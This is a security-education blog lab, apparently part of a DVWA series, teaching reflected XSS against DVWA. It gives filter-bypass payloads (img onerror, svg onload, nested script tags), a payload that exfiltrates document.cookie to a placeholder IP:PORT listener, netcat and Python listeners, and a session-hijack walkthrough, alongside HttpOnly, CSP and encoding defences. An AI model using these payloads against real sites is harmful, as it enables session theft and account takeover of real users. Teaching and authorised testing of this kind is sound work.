Lab 8: DVWA XSS Reflected Lab 2026 — Steal Cookies in Seconds & Bypass Filters Like a Hacker
Mr Elite ··
16 min read ·
DVWA Labs -- Day 8
🧪 DVWA Lab Series — #8 of 30 Topic: XSS Reflected — JavaScript Injection to Cookie Theft Next: XSS Stored Lab →
⚠️ Lab Environment Only: XSS exploitation techniques in this guide must only be practised against your own DVWA installation, PortSwigger Web Academy, or targets with explicit authorisation in a bug bounty programme scope. Cross-site scripting attacks against systems you do not own violate computer fraud laws worldwide. This guide is for security education and authorised testing only.
DVWA XSS reflected lab 2026 teaches the vulnerability that has compromised more user sessions than almost any other web flaw — and the one that beginners consistently underestimate because their proof-of-concept stops at alert(1). Cross-site scripting is not about popups. It is about executing arbitrary JavaScript in a victim’s browser session, stealing their authentication cookies, and taking over their account without ever knowing their password. Today you will go from alert to session theft, bypass three different filter implementations, and understand exactly why the correct fix requires more than just blocking script tags.
🎯 What You’ll Master in Lab 8
Confirm reflected XSS with basic alert payload at DVWA Low security
Escalate from alert to working session cookie theft payload
Bypass script tag blacklisting using event handler attributes at Medium security
Bypass recursive sanitisation at High security using alternative injection vectors
Understand how HttpOnly cookies and CSP limit XSS impact in modern applications
⏱️ 58 min read · 3 hands-on exercises
📊 What is your XSS experience level?
✅ This lab covers every stage from first payload to session takeover. If you already know the basics, the Medium and High security filter bypass sections and the CSP/HttpOnly defensive analysis will be the most valuable sections for you.
In Lab 7 you extracted a full database via SQL injection. Today the attack surface moves from the database layer to the browser. XSS exploits the trust a browser places in content served from a legitimate domain — if malicious JavaScript appears in a page response from bank.com, the browser executes it with full bank.com permissions, including access to that domain’s cookies, local storage, and DOM. The full DVWA lab series covers each of these attack surfaces progressively — XSS reflected here, then stored in Lab 9, then DOM-based in Lab 10.
DVWA XSS Reflected Lab — How Reflected XSS Works and Why It Matters
Reflected XSS occurs when an application takes user input and immediately includes it in the HTTP response without proper encoding. The “reflected” name refers to the fact that the malicious payload is reflected from the server back to the browser in the same request — it is not stored in the database. The attack delivery mechanism is a crafted URL that a victim is tricked into visiting.
The DVWA XSS Reflected module has a single input field: “What’s your name?” The application takes the submitted name and reflects it directly into the HTML response: Hello <name>. If the name contains HTML or JavaScript and the application does not encode it, the browser interprets it as part of the page’s DOM rather than as plain text data.
📸 Reflected XSS attack flow — the malicious payload travels from attacker to victim via a crafted URL, executes in the victim’s browser, and sends their session cookie to the attacker’s server.
Understanding the attack flow shows why reflected XSS is a real threat, not just a theoretical one. The attacker never needs direct access to the target server or database. They exploit the victim’s authenticated session by making the victim’s own browser do the work — executing JavaScript with all the permissions of the legitimate site.
Low Security — From alert(1) to Session Cookie Theft
✅ What you just learned: The progression from alert(1) to cookie exfiltration is the difference between a Low finding and a High finding in bug bounty. The netcat listener receiving the cookie proves that a real attacker could receive this data too — your PoC is now a working account hijack demonstration. In a real engagement, you would use Burp Collaborator or a VPS with netcat instead of localhost. The payload, the mechanism, and the impact are identical.
📸 Screenshot the netcat output showing the captured session cookie and share in #dvwa-labs on Discord. Tag #xss2026
XSS Cookie Theft — Crafting a Real Session Hijacking Payload
The cookie exfiltration technique from Exercise 1 works reliably but has one limitation: it requires your listener to be reachable from the victim’s browser. In a lab this is trivial — both are on localhost. In a real bug bounty scenario, you need a publicly reachable server or a service like Burp Collaborator (Pro) or the free interactsh alternative.
XSS COOKIE THEFT PAYLOADS — MULTIPLE TECHNIQUES
# Method 1: Image src exfiltration (most reliable, no user interaction)
💡 HttpOnly Cookies Block document.cookie: Modern applications set the HttpOnly flag on session cookies, making them inaccessible to JavaScript regardless of XSS. If your alert(document.cookie) shows an empty string or only non-HttpOnly cookies, the session token is protected. You can still demonstrate impact through keylogging, form hijacking, or DOM manipulation payloads — but pure cookie theft will not work. Always check HttpOnly in your DevTools Application tab before choosing your payload.
XSS Filter Bypass — Medium and High Security Techniques
⚡ EXERCISE 2 — KALI TERMINAL (20 MIN)
Bypass Script Tag Blacklisting at Medium and Recursive Sanitisation at High
⏱️ Time: 20 minutes · DVWA Medium then High security level
MEDIUM SECURITY — EVENT HANDLER BYPASS
# Medium security strips <script> tags from input
Input: <script>alert(1)</script>
Output: Hello alert(1) (script tags stripped, text remains)
# Bypass 1: Use image tag with onerror event handler
Input: <img src=x onerror=alert(1)>
Browser shows alert popup (onerror not filtered)
# Bypass 2: SVG tag with onload handler
Input: <svg onload=alert(document.cookie)>
Alert shows session cookie (svg onload not filtered)
# Bypass 3: Input tag with onfocus autofocus
Input: <input autofocus onfocus=alert(1)>
## HIGH SECURITY — Recursive tag stripping
# High security uses preg_replace to recursively remove script tags
# Double nesting bypass: <sc<script>ript> → after strip → <script>
Input: <sc<script>ript>alert(1)</sc</script>ript>
Browser shows alert (nested tag survives single-pass strip)
# Alternative: use event handlers (same as Medium — still not filtered at High)
Input: <img src=x onerror=alert(document.cookie)>
Alert shows session cookie (image tag onerror works at High too)
✅ What you just learned: Script tag blacklisting is the most commonly implemented XSS filter — and one of the easiest to bypass. HTML has dozens of tags and hundreds of event handlers that can execute JavaScript: onerror, onload, onmouseover, onfocus, onblur, onclick, onkeydown, and more. Filtering script tags while ignoring event handlers is a fundamental miscalculation. The only correct approach is context-aware output encoding that HTML-encodes ALL special characters, making any injected tag or attribute harmless text.
📸 Screenshot the alert popup triggered via onerror at Medium security and share in #dvwa-labs on Discord.
Execution Contexts — HTML, Attribute, JavaScript and URL XSS
One of the most important concepts in XSS beyond DVWA basics is understanding injection contexts. The payload you need depends entirely on where in the HTML document your input is reflected. Injecting the wrong payload for the wrong context is why many XSS attempts fail in real applications.
securityelites.com
XSS Injection Contexts — Payloads by Location
HTML BODY CONTEXT
<div>Hello USER_INPUT</div>
Payload: <script>alert(1)</script>
HTML ATTRIBUTE CONTEXT
<input value=”USER_INPUT“>
Payload: ” onmouseover=”alert(1)
JAVASCRIPT CONTEXT
<script>var name = “USER_INPUT“</script>
Payload: “;alert(1);//
HREF/URL CONTEXT
<a href=”USER_INPUT“>Click</a>
Payload: javascript:alert(1)
📸 XSS injection contexts — each location where user input is reflected in HTML requires a different payload structure. Wrong context = no execution. Understanding context is the key to finding XSS in real applications.
DVWA always reflects input in the HTML body context, making it the simplest scenario. Real applications reflect input in attribute values (search fields, alt text, hidden inputs), inside JavaScript strings (tracking scripts, analytics), and in href/src attributes (redirect URLs, avatar image sources). Finding XSS in these contexts requires different payloads and a good understanding of how each context is parsed by the browser.
XSS Bug Bounty 2026 — Turning alert(1) Into a High-Severity Report
The most common reason XSS reports get rated Low instead of High in bug bounty programmes is that the hunter submits alert(1) as their proof-of-concept and describes the vulnerability as “XSS exists” with no impact demonstration. Programme triagers have seen thousands of alert(1) PoCs. What gets a High or Critical rating is impact.
PoC that gets Low: Submitting /page?name=<script>alert(1)</script> with a screenshot of the popup. This proves execution but demonstrates no impact to a non-technical reviewer.
PoC that gets High: Submitting the same URL with a cookie theft payload that sends document.cookie to a Burp Collaborator endpoint, showing the captured session cookie, then using that cookie in a fresh browser to log in as the victim user with a screenshot of their account page. This makes the account takeover impact immediate, visual, and undeniable.
⚡ EXERCISE 3 — KALI TERMINAL (20 MIN)
Build a Complete XSS PoC — From Injection to Session Hijack Using Stolen Cookie
⏱️ Time: 20 minutes · DVWA Low security, two browser windows
FULL SESSION HIJACK PoC — VICTIM TO ATTACKER
## ATTACKER SETUP (Terminal 1)
python3 -m http.server 9999
## VICTIM BROWSER (Firefox — currently logged into DVWA)
# Note your DVWA session URL with cookie theft payload:
GET /?c=PHPSESSID=abcdef123456;+security=low HTTP/1.1
## ATTACKER BROWSER (New Firefox private window — NOT logged in)
# Open DevTools > Application > Cookies
# Manually add cookie: PHPSESSID = abcdef123456 (value from server log)
# Or use EditThisCookie extension to inject the stolen cookie
# Navigate to DVWA without logging in:
http://127.0.0.1/dvwa/
# You are now logged in as the victim — no password required
## Screenshot the attacker’s browser showing victim’s logged-in session
# This is your High-severity bug bounty PoC
✅ What you just learned: This is the complete XSS-to-account-takeover proof of concept chain used in professional bug bounty reports. The Python server receives the cookie, you inject it into a fresh browser, and you are authenticated as the victim. The session hijack is not theoretical — you just demonstrated it. This is exactly the PoC that earns High severity in a bug bounty programme. Screenshots at each step: payload URL, server receiving the cookie, attacker browser showing victim’s authenticated session.
📸 Screenshot the attacker browser showing the victim’s authenticated DVWA session after cookie injection and share in #dvwa-labs on Discord. Tag #xss2026
🧠 QUICK CHECK — DVWA XSS Reflected Lab
You inject <script>alert(document.cookie)</script> and the alert shows an empty string — no cookie value is displayed. What is the most likely reason?
📋 Commands Used Today — DVWA XSS Reflected Reference Card
<script>alert(1)</script>Basic XSS confirmation — triggers popup if JavaScript executes
<script>alert(document.cookie)</script>Display session cookies in alert — confirms cookie access
<script>new Image().src=’http://IP:PORT/?c=’+document.cookie</script>Cookie exfiltration via image request — sends cookie to attacker server
<svg onload=alert(1)>SVG onload bypass — alternative to img onerror
<sc<script>ript>alert(1)</sc</script>ript>Nested tag bypass — survives single-pass script tag stripping
nc -lvnp 8888Netcat listener — receives exfiltrated cookies from XSS payload
python3 -m http.server 9999Simple HTTP server — alternative listener for cookie theft PoC
🏆 Mark Lab 8 as Complete
You have completed the full XSS attack chain — from identifying reflected input, through payload injection, to working session hijack. The cookie theft and account takeover PoC you built in Exercise 3 is exactly what separates a High-severity bug bounty report from a Low.
❓ Frequently Asked Questions
What is the difference between reflected XSS and stored XSS?
Reflected XSS requires the victim to click a specially crafted URL — the payload is reflected from the server in the response to that request. Stored XSS saves the malicious payload in the database and serves it to every user who visits the affected page without any crafted URL. Stored XSS typically has higher severity because it affects all users automatically.
Can XSS steal session cookies?
Yes — if session cookies lack the HttpOnly flag. JavaScript running in the victim’s browser can access document(dot)cookie and send it to an attacker’s server. The attacker uses that cookie to authenticate as the victim without a password. HttpOnly and Secure flags on session cookies are the primary defence, making cookies inaccessible to JavaScript regardless of XSS.
What is a Content Security Policy and how does it prevent XSS?
CSP is an HTTP header telling the browser which JavaScript sources are trusted. A strict CSP like default-src ‘self’ prevents execution of any inline JavaScript or scripts from external domains — even if an attacker injects a script tag, the browser refuses to execute it. CSP is the most effective XSS mitigation available, supplementing proper output encoding.
What is the correct fix for reflected XSS?
Context-aware output encoding — HTML entity encode all user data in HTML context, JavaScript encode in script context, URL encode in href/src attributes. DVWA Impossible level uses htmlspecialchars() with ENT_QUOTES, which correctly encodes HTML context. No blacklist reliably achieves this — only encoding does.
How much does XSS pay in bug bounty programs in 2026?
Payouts range from $100 (reflected XSS requiring interaction, low-sensitivity page) to $10,000+ (stored XSS affecting all users on sensitive pages). A working cookie theft PoC with account takeover demonstration consistently earns significantly more than alert(1) alone. Demonstrating impact is the single most important factor in payout determination.
What comes after the XSS Reflected lab in the DVWA series?
Lab 9 covers XSS Stored in DVWA — the more dangerous variant where the payload is saved in the database and executes for every user who visits the vulnerable page. After reflecting XSS requires a crafted URL, stored XSS demonstrates why persistent injection is classified as higher severity and how multi-user impact changes the risk calculation.
← Previous
Lab 7: DVWA SQL Injection Lab 2026
Next →
Lab 9: DVWA XSS Stored Lab 2026
📚 Further Reading
DVWA SQL Injection Lab 2026— Lab 7 covers union-based SQL injection at all security levels — the complementary server-side injection technique to XSS’s client-side exploitation.
DVWA XSS Stored Lab 2026— Lab 9 covers persistent XSS where payloads are saved in the database and execute automatically for every user who visits the page — higher impact, same techniques.
DVWA Lab Series Hub— The complete DVWA lab index with all 30 labs in sequence, from brute force through advanced injection and cryptography challenges.
PortSwigger XSS Academy— The most comprehensive free XSS training — 30+ labs covering reflected, stored, DOM-based, and context-specific XSS from basic to expert level.
OWASP Cross-Site Scripting Reference— The authoritative OWASP XSS documentation covering all three XSS types, browser parsing behaviour, prevention techniques, and real-world impact examples.
ME
Mr Elite
Owner, SecurityElites.com
The XSS finding that taught me to always demonstrate impact was a reflected XSS on a healthcare patient portal. The parameter was in the appointment booking confirmation page — reflected in a message field. I submitted alert(1) as my initial PoC and almost filed a Low report. Then I looked at the cookies in the response — no HttpOnly flag. I changed my payload to exfiltrate the session cookie, used it in a fresh browser, and found myself logged into a patient account with full access to medical history, prescriptions, and insurance details. That submission came back as Critical. Same vulnerability. Completely different impact demonstration. The lesson stayed with me: always think about what JavaScript execution actually enables in the application you are testing before filing the report.
Leave a Reply